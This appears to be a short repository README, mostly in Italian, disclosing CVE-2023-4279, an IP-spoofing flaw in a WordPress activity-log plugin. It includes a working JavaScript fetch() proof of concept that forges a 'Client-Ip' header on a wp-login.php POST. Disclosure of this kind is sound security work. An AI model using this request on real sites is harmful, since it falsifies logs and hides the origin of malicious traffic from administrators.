
Repository per la vulnerabilità CVE-2023-4279.
CVE ID: CVE-2023-4279
Tipo di vulnerabilità: Spoofing dell'indirizzo IP
Descrizione: Questo plugin recupera gli indirizzi IP dei client da header potenzialmente non affidabili, consentendo a un attaccante di manipolarne il valore. Ciò può essere utilizzato per nascondere l'origine del traffico dannoso.
Passaggi per riprodurre:
1. In User Activity Log > Settings, enable the setting "Allow Ip Address of users to log." and save settings.
2. Run the following code in the web browser and note on the backend that the IP address has been faked.
await fetch("/wp-login.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
"Client-Ip": "8.8.8.8",
},
"body": "log=USERNAME&pwd=PASSWORD",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
Riferimenti: